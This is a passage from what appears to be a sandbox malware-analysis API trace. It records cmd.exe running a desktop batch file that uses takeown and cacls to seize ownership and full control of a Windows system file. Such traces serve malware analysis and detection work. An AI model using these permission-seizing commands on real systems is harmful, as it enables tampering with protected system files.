cbMultiByte=32, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cacls %1 /E /G %USERNAME%:F /C\r\n") returned 32 [0094.463] _get_osfhandle (_FileHandle=3) returned 0x78 [0094.463] GetFileType (hFile=0x78) returned 0x1 [0094.463] _get_osfhandle (_FileHandle=3) returned 0x78 [0094.463] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0094.463] GetProcessHeap () returned 0x840000 [0094.463] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x400a) returned 0x858a70 [0094.463] GetProcessHeap () returned 0x840000 [0094.463] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x4008) returned 0x864aa8 [0094.464] GetProcessHeap () returned 0x840000 [0094.464] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x1a) returned 0x8577c0 [0094.464] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="5p5NrGJn0jS HALPmcxz") returned 0x14 [0094.464] GetProcessHeap () returned 0x840000 [0094.464] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x8577c0 | out: hHeap=0x840000) returned 1 [0094.464] GetProcessHeap () returned 0x840000 [0094.464] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x864aa8 | out: hHeap=0x840000) returned 1 [0094.464] GetProcessHeap () returned 0x840000 [0094.464] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x858a70 | out: hHeap=0x840000) returned 1 [0094.464] _wcsicmp (_String1="cacls", _String2=")") returned 58 [0094.464] _wcsicmp (_String1="FOR", _String2="cacls") returned 3 [0094.464] _wcsicmp (_String1="FOR/?", _String2="cacls") returned 3 [0094.464] _wcsicmp (_String1="IF", _String2="cacls") returned 6 [0094.464] _wcsicmp (_String1="IF/?", _String2="cacls") returned 6 [0094.464] _wcsicmp (_String1="REM", _String2="cacls") returned 15 [0094.464] _wcsicmp (_String1="REM/?", _String2="cacls") returned 15 [0094.464] GetProcessHeap () returned 0x840000 [0094.464] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x58) returned 0x841240 [0094.464] GetProcessHeap () returned 0x840000 [0094.465] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x14) returned 0x8412a0 [0094.466] GetProcessHeap () returned 0x840000 [0094.466] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xba) returned 0x8560f0 [0094.469] _tell (_FileHandle=3) returned 32 [0094.470] _close (_FileHandle=3) returned 0 [0094.470] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x41f2a4 | out: _Buffer="\r\n") returned 2 [0094.470] _get_osfhandle (_FileHandle=1) returned 0x7 [0094.470] GetFileType (hFile=0x7) returned 0x2 [0094.470] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0094.470] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f264 | out: lpMode=0x41f264) returned 1 [0094.471] _get_osfhandle (_FileHandle=1) returned 0x7 [0094.471] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x41f290, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f290*=0x2) returned 1 [0094.471] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0094.471] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0094.471] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x41f2a0 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0094.471] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x41f2a0 | out: _Buffer=">") returned 1 [0094.471] _get_osfhandle (_FileHandle=1) returned 0x7 [0094.471] GetFileType (hFile=0x7) returned 0x2 [0094.472] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0094.472] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f268 | out: lpMode=0x41f268) returned 1 [0094.472] _get_osfhandle (_FileHandle=1) returned 0x7 [0094.472] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x41f294, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x41f294*=0x26) returned 1 [0094.473] _get_osfhandle (_FileHandle=1) returned 0x7 [0094.473] GetFileType (hFile=0x7) returned 0x2 [0094.473] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0094.473] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f4ec | out: lpMode=0x41f4ec) returned 1 [0094.473] _get_osfhandle (_FileHandle=1) returned 0x7 [0094.473] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x8412a8*, nNumberOfCharsToWrite=0x5, lpNumberOfCharsWritten=0x41f518, lpReserved=0x0 | out: lpBuffer=0x8412a8*, lpNumberOfCharsWritten=0x41f518*=0x5) returned 1 [0094.474] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x41f524 | out: _Buffer=" \"C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C ") returned 89 [0094.474] _get_osfhandle (_FileHandle=1) returned 0x7 [0094.474] GetFileType (hFile=0x7) returned 0x2 [0094.474] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0094.474] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f4e4 | out: lpMode=0x41f4e4) returned 1 [0094.474] _get_osfhandle (_FileHandle=1) returned 0x7 [0094.474] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x59, lpNumberOfCharsWritten=0x41f510, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f510*=0x59) returned 1 [0094.475] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x41f544 | out: _Buffer="\r\n") returned 2 [0094.475] _get_osfhandle (_FileHandle=1) returned 0x7 [0094.475] GetFileType (hFile=0x7) returned 0x2 [0094.475] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0094.475] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f504 | out: lpMode=0x41f504) returned 1 [0094.475] _get_osfhandle (_FileHandle=1) returned 0x7 [0094.475] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x41f530, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f530*=0x2) returned 1 [0094.476] _wcsicmp (_String1="cacls", _String2="DIR") returned -1 [0094.476] _wcsicmp (_String1="cacls", _String2="ERASE") returned -2 [0094.476] _wcsicmp (_String1="cacls", _String2="DEL") returned -1 [0094.476] _wcsicmp (_String1="cacls", _String2="TYPE") returned -17 [0094.476] _wcsicmp (_String1="cacls", _String2="COPY") returned -14 [0094.476] _wcsicmp (_String1="cacls", _String2="CD") returned -3 [0094.476] _wcsicmp (_String1="cacls", _String2="CHDIR") returned -7 [0094.476] _wcsicmp (_String1="cacls", _String2="RENAME") returned -15 [0094.476] _wcsicmp (_String1="cacls", _String2="REN") returned -15 [0094.476] _wcsicmp (_String1="cacls", _String2="ECHO") returned -2 [0094.476] _wcsicmp (_String1="cacls", _String2="SET") returned -16 [0094.476] _wcsicmp (_String1="cacls", _String2="PAUSE") returned -13 [0094.476] _wcsicmp (_String1="cacls", _String2="DATE") returned -1 [0094.476] _wcsicmp (_String1="cacls", _String2="TIME") returned -17 [0094.476] _wcsicmp (_String1="cacls", _String2="PROMPT") returned -13 [0094.476] _wcsicmp (_String1="cacls", _String2="MD") returned -10 [0094.476] _wcsicmp (_String1="cacls", _String2="MKDIR") returned -10 [0094.476] _wcsicmp (_String1="cacls", _String2="RD") returned -15 [0094.476] _wcsicmp (_String1="cacls", _String2="RMDIR") returned -15 [0094.476] _wcsicmp (_String1="cacls", _String2="PATH") returned -13 [0094.476] _wcsicmp (_String1="cacls", _String2="GOTO") returned -4 [0094.476] _wcsicmp (_String1="cacls", _String2="SHIFT") returned -16 [0094.476] _wcsicmp (_String1="cacls", _String2="CLS") returned -11 [0094.476] _wcsicmp (_String1="cacls", _String2="CALL") returned -9 [0094.476] _wcsicmp (_String1="cacls", _String2="VERIFY") returned -19 [0094.476] _wcsicmp (_String1="cacls", _String2="VER") returned -19 [0094.476] _wcsicmp (_String1="cacls", _String2="VOL") returned -19 [0094.476] _wcsicmp (_String1="cacls", _String2="EXIT") returned -2 [0094.476] _wcsicmp (_String1="cacls", _String2="SETLOCAL") returned -16 [0094.476] _wcsicmp (_String1="cacls", _String2="ENDLOCAL") returned -2 [0094.476] _wcsicmp (_String1="cacls", _String2="TITLE") returned -17 [0094.476] _wcsicmp (_String1="cacls", _String2="START") returned -16 [0094.477] _wcsicmp (_String1="cacls", _String2="DPATH") returned -1 [0094.477] _wcsicmp (_String1="cacls", _String2="KEYS") returned -8 [0094.477] _wcsicmp (_String1="cacls", _String2="MOVE") returned -10 [0094.477] _wcsicmp (_String1="cacls", _String2="PUSHD") returned -13 [0094.477] _wcsicmp (_String1="cacls", _String2="POPD") returned -13 [0094.477] _wcsicmp (_String1="cacls", _String2="ASSOC") returned 2 [0094.477] _wcsicmp (_String1="cacls", _String2="FTYPE") returned -3 [0094.477] _wcsicmp (_String1="cacls", _String2="BREAK") returned 1 [0094.477] _wcsicmp (_String1="cacls", _String2="COLOR") returned -14 [0094.477] _wcsicmp (_String1="cacls", _String2="MKLINK") returned -10 [0094.477] _wcsnicmp (_String1="cacl", _String2="cmd ", _MaxCount=0x4) returned -12 [0094.477] GetProcessHeap () returned 0x840000 [0094.477] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x418) returned 0x8561b8 [0094.477] SetErrorMode (uMode=0x0) returned 0x0 [0094.477] SetErrorMode (uMode=0x1) returned 0x0 [0094.477] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x8561c0, lpFilePart=0x41f2e8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x41f2e8*="Desktop") returned 0x25 [0094.477] SetErrorMode (uMode=0x0) returned 0x1 [0094.477] GetProcessHeap () returned 0x840000 [0094.477] RtlReAllocateHeap (Heap=0x840000, Flags=0x0, Ptr=0x8561b8, Size=0x60) returned 0x8561b8 [0094.477] GetProcessHeap () returned 0x840000 [0094.477] RtlSizeHeap (HeapHandle=0x840000, Flags=0x0, MemoryPointer=0x8561b8) returned 0x60 [0094.477] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0094.477] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0094.478] GetProcessHeap () returned 0x840000 [0094.478] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x120) returned 0x856220 [0094.478] GetProcessHeap () returned 0x840000 [0094.478] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x238) returned 0x856348 [0094.479] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0094.479] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x41f064, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f064) returned 0xffffffff [0094.480] GetLastError () returned 0x2 [0094.480] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls", fInfoLevelId=0x1, lpFindFileData=0x41f064, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f064) returned 0xffffffff [0094.480] GetLastError () returned 0x2 [0094.480] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0094.480] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x41f064, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f064) returned 0x8564f8 [0094.480] GetProcessHeap () returned 0x840000 [0094.480] RtlReAllocateHeap (Heap=0x840000, Flags=0x0, Ptr=0x8555d0, Size=0x4) returned 0x8555d0 [0094.480] FindClose (in: hFindFile=0x8564f8 | out: hFindFile=0x8564f8) returned 1 [0094.480] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.COM", fInfoLevelId=0x1, lpFindFileData=0x41f064, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f064) returned 0xffffffff [0094.480] GetLastError () returned 0x2 [0094.481] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.EXE", fInfoLevelId=0x1, lpFindFileData=0x41f064, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f064) returned 0x8564f8 [0094.481] FindClose (in: hFindFile=0x8564f8 | out: hFindFile=0x8564f8) returned 1 [0094.481] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0094.481] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0094.481] GetConsoleTitleW (in: lpConsoleTitle=0x41f0b4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0094.739] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x8567e8, lpFilePart=0x41ebd4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x41ebd4*="Desktop") returned 0x25 [0094.739] SetErrorMode (uMode=0x0) returned 0x1 [0094.740] GetProcessHeap () returned 0x840000 [0094.740] RtlReAllocateHeap (Heap=0x840000, Flags=0x0, Ptr=0x8567e0, Size=0x60) returned 0x8567e0 [0094.740] GetProcessHeap () returned 0x840000 [0094.740] RtlSizeHeap (HeapHandle=0x840000, Flags=0x0, MemoryPointer=0x8567e0) returned 0x60 [0094.740] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0094.740] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0094.740] GetProcessHeap () returned 0x840000 [0094.740] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x120) returned 0x856848 [0094.740] GetProcessHeap () returned 0x840000 [0094.740] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x238) returned 0x856970 [0094.740] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0094.740] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x41e950, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41e950) returned 0xffffffff [0094.740] GetLastError () returned 0x2 [0094.740] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls", fInfoLevelId=0x1, lpFindFileData=0x41e950, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41e950) returned 0xffffffff [0094.740] GetLastError () returned 0x2 [0094.741] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0094.741] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x41e950, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41e950) returned 0x856b20 [0094.741] FindClose (in: hFindFile=0x856b20 | out: hFindFile=0x856b20) returned 1 [0094.741] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.COM", fInfoLevelId=0x1, lpFindFileData=0x41e950, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41e950) returned 0xffffffff [0094.741] GetLastError () returned 0x2 [0094.741] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.EXE", fInfoLevelId=0x1, lpFindFileData=0x41e950, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41e950) returned 0x856b20 [0094.741] FindClose (in: hFindFile=0x856b20 | out: hFindFile=0x856b20) returned 1 [0094.741] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0094.741] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0094.741] GetConsoleTitleW (in: lpConsoleTitle=0x41ee48, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0094.742] InitializeProcThreadAttributeList (in: lpAttributeList=0x41ecd0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x41ed98 | out: lpAttributeList=0x41ecd0, lpSize=0x41ed98) returned 1 [0094.742] UpdateProcThreadAttribute (in: lpAttributeList=0x41ecd0, dwFlags=0x0, Attribute=0x60001, lpValue=0x41ed90, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x41ecd0, lpPreviousValue=0x0) returned 1 [0094.742] GetStartupInfoW (in: lpStartupInfo=0x41ec8c | out: lpStartupInfo=0x41ec8c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0094.742] lstrcmpW (lpString1="\\cacls.exe", lpString2="\\XCOPY.EXE") returned -1 [0094.743] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cacls.exe", lpCommandLine="cacls \"C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x41ed2c*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="cacls \"C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x41ed78 | out: lpCommandLine="cacls \"C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", lpProcessInformation=0x41ed78*(hProcess=0x74, hThread=0x78, dwProcessId=0xd9c, dwThreadId=0xda0)) returned 1 [0094.754] CloseHandle (hObject=0x78) returned 1 [0094.754] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0094.754] GetProcessHeap () returned 0x840000 [0094.754] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x857f30 | out: hHeap=0x840000) returned 1 [0094.754] GetEnvironmentStringsW () returned 0x857f30* [0094.754] GetProcessHeap () returned 0x840000 [0094.754] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xb36) returned 0x858a70 [0094.754] FreeEnvironmentStringsW (penv=0x857f30) returned 1 [0094.754] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0098.162] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x41ec6c | out: lpExitCode=0x41ec6c*=0x1f57) returned 1 [0098.162] CloseHandle (hObject=0x74) returned 1 [0098.162] _vsnwprintf (in: _Buffer=0x41edb4, _BufferCount=0x13, _Format="%08X", _ArgList=0x41ec78 | out: _Buffer="00001F57") returned 8 [0098.163] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00001F57") returned 1 [0098.163] GetProcessHeap () returned 0x840000 [0098.163] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x858a70 | out: hHeap=0x840000) returned 1 [0098.163] GetEnvironmentStringsW () returned 0x857f30* [0098.163] GetProcessHeap () returned 0x840000 [0098.163] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xb5c) returned 0x85a118 [0098.163] FreeEnvironmentStringsW (penv=0x857f30) returned 1 [0098.163] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0098.163] GetProcessHeap () returned 0x840000 [0098.163] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x85a118 | out: hHeap=0x840000) returned 1 [0098.163] GetEnvironmentStringsW () returned 0x857f30* [0098.163] GetProcessHeap () returned 0x840000 [0098.163] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xb5c) returned 0x85a118 [0098.163] FreeEnvironmentStringsW (penv=0x857f30) returned 1 [0098.163] GetProcessHeap () returned 0x840000 [0098.163] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x840db8 | out: hHeap=0x840000) returned 1 [0098.163] DeleteProcThreadAttributeList (in: lpAttributeList=0x41ecd0 | out: lpAttributeList=0x41ecd0) [0098.163] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.163] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0098.164] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.164] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0098.164] _get_osfhandle (_FileHandle=0) returned 0x3 [0098.164] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0098.164] SetConsoleInputExeNameW () returned 0x1 [0098.164] GetConsoleOutputCP () returned 0x1b5 [0098.165] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0098.165] SetThreadUILanguage (LangId=0x0) returned 0x409 [0098.165] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f4ec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0098.165] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0098.165] _get_osfhandle (_FileHandle=3) returned 0x74 [0098.165] SetFilePointer (in: hFile=0x74, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0098.165] GetProcessHeap () returned 0x840000 [0098.165] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856aa0 | out: hHeap=0x840000) returned 1 [0098.165] GetProcessHeap () returned 0x840000 [0098.165] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856970 | out: hHeap=0x840000) returned 1 [0098.165] GetProcessHeap () returned 0x840000 [0098.165] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856848 | out: hHeap=0x840000) returned 1 [0098.165] GetProcessHeap () returned 0x840000 [0098.165] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x8567e0 | out: hHeap=0x840000) returned 1 [0098.165] GetProcessHeap () returned 0x840000 [0098.165] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856710 | out: hHeap=0x840000) returned 1 [0098.165] GetProcessHeap () returned 0x840000 [0098.166] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x8564f8 | out: hHeap=0x840000) returned 1 [0098.166] GetProcessHeap () returned 0x840000 [0098.166] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856478 | out: hHeap=0x840000) returned 1 [0098.166] GetProcessHeap () returned 0x840000 [0098.166] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856348 | out: hHeap=0x840000) returned 1 [0098.166] GetProcessHeap () returned 0x840000 [0098.166] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856220 | out: hHeap=0x840000) returned 1 [0098.166] GetProcessHeap () returned 0x840000 [0098.166] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x8561b8 | out: hHeap=0x840000) returned 1 [0098.166] GetProcessHeap () returned 0x840000 [0098.166] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x8560f0 | out: hHeap=0x840000) returned 1 [0098.166] GetProcessHeap () returned 0x840000 [0098.166] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x8412a0 | out: hHeap=0x840000) returned 1 [0098.166] GetProcessHeap () returned 0x840000 [0098.166] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x841240 | out: hHeap=0x840000) returned 1 [0098.166] _get_osfhandle (_FileHandle=3) returned 0x74 [0098.166] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0098.166] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f4d0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x41f4d0*=0xc2, lpOverlapped=0x0) returned 1 [0098.167] SetFilePointer (in: hFile=0x74, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0098.167] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="takeown /F %1\r\n%USERNAME%:F /C\r\n") returned 15 [0098.167] _get_osfhandle (_FileHandle=3) returned 0x74 [0098.167] GetFileType (hFile=0x74) returned 0x1 [0098.167] _get_osfhandle (_FileHandle=3) returned 0x74 [0098.167] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0098.167] GetProcessHeap () returned 0x840000 [0098.167] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x400a) returned 0x864aa8 [0098.167] GetProcessHeap () returned 0x840000 [0098.167] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x864aa8 | out: hHeap=0x840000) returned 1 [0098.169] _tell (_FileHandle=3) returned 47 [0098.169] _close (_FileHandle=3) returned 0 [0098.169] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x41f2a4 | out: _Buffer="\r\n") returned 2 [0098.169] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.169] GetFileType (hFile=0x7) returned 0x2 [0098.169] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0098.169] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f264 | out: lpMode=0x41f264) returned 1 [0098.170] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.170] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x41f290, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f290*=0x2) returned 1 [0098.171] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0098.171] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0098.171] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x41f2a0 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0098.171] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", 